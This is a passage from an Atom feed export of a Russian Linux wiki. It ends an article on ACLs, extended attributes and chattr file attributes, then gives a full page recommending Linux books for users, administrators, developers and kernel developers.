Мы не будем подробно говорить об этом механизме, так как он используется далеко не везде, и это тема для отдельной статьи. Мы упоминаем его только для того, чтобы читатели знали о существовании этой расширенной системы прав. Если интересно, можно почитать man 5 acl (должен быть установлен соотв. пакет, обычно называется acl).&lt;br /&gt;
&lt;br /&gt;
На всякий случай отметим также, что если доступ к файлу контролируется ACL, то после стандартных прав доступа ls выведет знак &amp;quot;+&amp;quot; (например, &amp;quot;drwxr-x---+&amp;quot;). Стандартные права выводятся потому, что ACL не полностью их отменяет. Сам же список контроля доступа можно получить и изменить только с помощью отдельных утилит (обычно getfacl и setfacl).&lt;br /&gt;
 &lt;br /&gt;
Опция ''acl'' команды mount - про этот механизм.&lt;br /&gt;
&lt;br /&gt;
==  Extended attributes ==&lt;br /&gt;
&lt;br /&gt;
Это расширенные атрибуты, которые представляют собой строковую пару name:value, ассоциированную с файлом или директорией. (Слегка похоже на окружение (environment), ассоциированный с процессом). Подробнее: '''man 5 attr''' .&lt;br /&gt;
&lt;br /&gt;
Опция ''user_xattr'' команды mount - про эти аттрибуты.&lt;br /&gt;
&lt;br /&gt;
== Attributes on linux file system ==&lt;br /&gt;
&lt;br /&gt;
Кроме того, на файл могут влиять специальные атрибуты Linux. В отличии от ACL, входящих в стандарт POSIX, это специфичный для Linux механизм. Аттрибутов достаточно много, самые интересные: 'a' - append-only: в файл можно только дописывать данные, в каталоге можно создавать файлы, но не удалять уже созданные; 'i' - immutable - файл нельзя изменять/удалять. Расширенные атрибуты устанавливаются коммандой chattr, посмотреть их можно с помощью команды lsattr.&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%9F%D0%BE%D0%BB%D0%B5%D0%B7%D0%BD%D1%8B%D0%B5_%D0%BA%D0%BD%D0%B8%D0%B3%D0%B8_%D0%BE_Linux&amp;diff=335</id>
		<title>Полезные книги о Linux</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%9F%D0%BE%D0%BB%D0%B5%D0%B7%D0%BD%D1%8B%D0%B5_%D0%BA%D0%BD%D0%B8%D0%B3%D0%B8_%D0%BE_Linux&amp;diff=335"/>
		<updated>2023-02-27T18:39:18Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Книг о Linux не так уж и мало. Вот некоторые, которые могут пригодится:&lt;br /&gt;
==Свободные источники информации для пользователя==&lt;br /&gt;
&lt;br /&gt;
====[http://ru.wikibooks.org/wiki/Linux-hand-book Настольная книга по Linux]====&lt;br /&gt;
&lt;br /&gt;
====[http://ru.wikibooks.org/wiki/%D0%9B%D0%B8%D0%BD%D1%83%D0%BA%D1%81_-_%D0%BA%D1%83%D1%80%D1%81_%D0%BC%D0%BE%D0%BB%D0%BE%D0%B4%D0%BE%D0%B3%D0%BE_%D0%B1%D0%BE%D0%B9%D1%86%D0%B0 Линукс — курс молодого бойца]====&lt;br /&gt;
==Домашнему пользователю==&lt;br /&gt;
===[http://www.ozon.ru/context/detail/id/126980/ Запускаем Linux]===  &lt;br /&gt;
Подробная и весьма объемная книга о многих сторонах жизни в Linux: от первых шагов до пересборки ядра&lt;br /&gt;
==Системному администратору==&lt;br /&gt;
===[http://www.ozon.ru/context/detail/id/3285836/ Руководство администратора Linux]===&lt;br /&gt;
Объем этой книги позволяет с ней выходить на разборки вместо кирпича :-) Однако кроме того она позволит узнать много полезного о внутреннем устройстве Linux, его тонкой настройке, интеграции в сеть. Подробно освещена установка программ. Написали ее опытные системные администраторы, положительно о ней отзывался Линус Торвальдс.&lt;br /&gt;
&lt;br /&gt;
===[http://www.ozon.ru/context/detail/id/2850427/ LINUX руководство администратора сети]===&lt;br /&gt;
&lt;br /&gt;
Книга быстрого старта, которая познакомит с основами применения Linux в качестве сетевой ОС. Написана на основе документов LDP (Linux Documentation Project).&lt;br /&gt;
&lt;br /&gt;
===[http://www.opennet.ru/docs/RUS/bash_scripting_guide/ Искусство программирования на языке сценариев командной оболочки]===&lt;br /&gt;
Подробный учебник по shell-скриптам&lt;br /&gt;
&lt;br /&gt;
== Разработчикам ==&lt;br /&gt;
===[http://www.ozon.ru/context/detail/id/2266949/ Linux. Программирование в примерах]===&lt;br /&gt;
Особенность этой книги в том, что каждая концепция системного программирования в Linux подробно иллюстрируется рассмотренными примерами из UNIX v7 и GNU.&lt;br /&gt;
&lt;br /&gt;
===[http://www.ozon.ru/context/detail/id/2355792/ Программирование для UNIX. Наиболее полное руководство]===&lt;br /&gt;
Это можно рассматривать и как учебник, и как справочник программиста в среде UNIX. Описаны механизмы работы с файлами, потоками, памятью, процессами и т. д.&lt;br /&gt;
&lt;br /&gt;
===Искусство программирования для Unix===&lt;br /&gt;
Книги, подобные этой, редко появляются на прилавках магазинов, поскольку за ними стоит многолетний опыт работы их авторов.&lt;br /&gt;
&lt;br /&gt;
В книге описывается хороший стиль Unix-программирования, многообразие доступных языков программирования, их преимущества и недостатки, различные IPC-методики и инструменты разработки. Автор анализирует философию Unix, культуру и основные традиции сформированного вокруг нее сообщества. В книге объясняются наилучшие практические приемы проектирования и разработки программ в Unix. Вместе с тем описанные в книге модели и принципы будут во многом полезны и Windows-разработчикам. Особо рассматриваются стили пользовательских интерфейсов UniX-программ и инструменты для их разработки. Отдельная глава посвящена описанию принципов и инструментов для создания хорошей документации.&lt;br /&gt;
&lt;br /&gt;
Книга будет полезна для широкой категории пользователей ПК и программистов.&lt;br /&gt;
&lt;br /&gt;
===UNIX. Профессиональное программирование===&lt;br /&gt;
&lt;br /&gt;
Эта книга представляет собой подробнейшее справочное руководство для любого профессионального программиста, работающего с UNIX. Стивену Раго удалось обновить и дополнить текст фундаментального классического труда Стивенса, сохранив при этом точность и стиль оригинала. Содержание всех тем, примеров и прикладных программ обновлено в соответствии с последними версиями наиболее популярных реализаций UNIX. Среди важных дополнений главы, посвященные потокам и разработке многопоточных программ, использованию интерфейса сокетов для организации межпроцессного взаимодействия (IPC), а также широкий охват интерфейсов, добавленных в последней версии POSIX.1. Аспекты прикладного программного интерфейса разъясняются на простых и понятных примерах, протестированных на 4-х платформах: PreeBSD, Linux, Solaris 9 и Mac OS X 10.3. Описывается множество ловушек, о которых следует помнить при написании программ для различных реализаций UNIX, и показывается, как их избежать, опираясь на стандарты POSIX.1 и Single UNIX Specification.&lt;br /&gt;
&lt;br /&gt;
===Linux. Системное программирование===&lt;br /&gt;
Эта книжка про то, как делать программное обеспечение под Linux, правильно используя полномочия системы — функции ядра и базисные библиотеки, включая оболочку, текстовый редактор, компилятор, отладчик и системные упражнения.&lt;br /&gt;
 &lt;br /&gt;
Конечно, большая часть программного кода для Unix и Linux написана на системном уровне, в следствии этого в книжке особое внимание сфокусировано на прибавлениях, окружающих вне ядра, в том числе Apache, bash, cp, vim, Emacs, gcc, gdb, glibc, ls, mv и других.&lt;br /&gt;
&lt;br /&gt;
== Разработчикам ядра Linux ==&lt;br /&gt;
&lt;br /&gt;
=== [http://www.ozon.ru/context/detail/id/2441431/ Linux: сетевая архитектура — Структура и реализация сетевых протоколов в ядре] ===&lt;br /&gt;
&lt;br /&gt;
Книга описывает реализацию сетевых протоколов и интерфейсов в ядре. Описываются такие технологии как PPP, PPPoE и Bluetooth. Обсуждается реализация стандартных протоколов TCP/IP (включая RSVP, Mobile IP и IP Security), UDP. Освещены и общие вопросы архитектуры ядра для поддержки сети.&lt;br /&gt;
&lt;br /&gt;
===[http://lwn.net/Kernel/LDD3/ Linux Device Drivers]===&lt;br /&gt;
&lt;br /&gt;
Книга авторства Jonathan Corbet, Alessandro Rubini, Greg Kroah-Hartman. Рекомендуется использовать наряду с исходными кодами ядра при написании драйверов для самодельных или ещё неподдерживаемых устройств. Пережила недавно четвёртое переиздание&lt;br /&gt;
&lt;br /&gt;
===Разработка ядра Linux===&lt;br /&gt;
В книге детально рассмотрены основные подсистемы и функции ядер Linux серии 2.6, включая особенности построения, реализации и соответствующие программные интерфейсы. Рассмотренные вопросы включают: планирование выполнения процессов, управление временем и таймеры ядра, интерфейс системных вызовов, особенности адресации и управления памятью, страничный кэш, подсистему VFS, механизмы синхронизации, проблемы переносимости и особенности отладки. Автор книги является разработчиком основных подсистем ядра Linux. Ядро рассматривается как с теоретической, так и с прикладной точек зрения, что может привлечь читателей с различными интересами и потребностями.&lt;br /&gt;
&lt;br /&gt;
==Другие ресурсы по Linux==&lt;br /&gt;
[[Дополнительная документация по окружению GNU/Linux]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Полезные советы]]&lt;br /&gt;
[[Category:L.O.R. FAQ]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
</feed>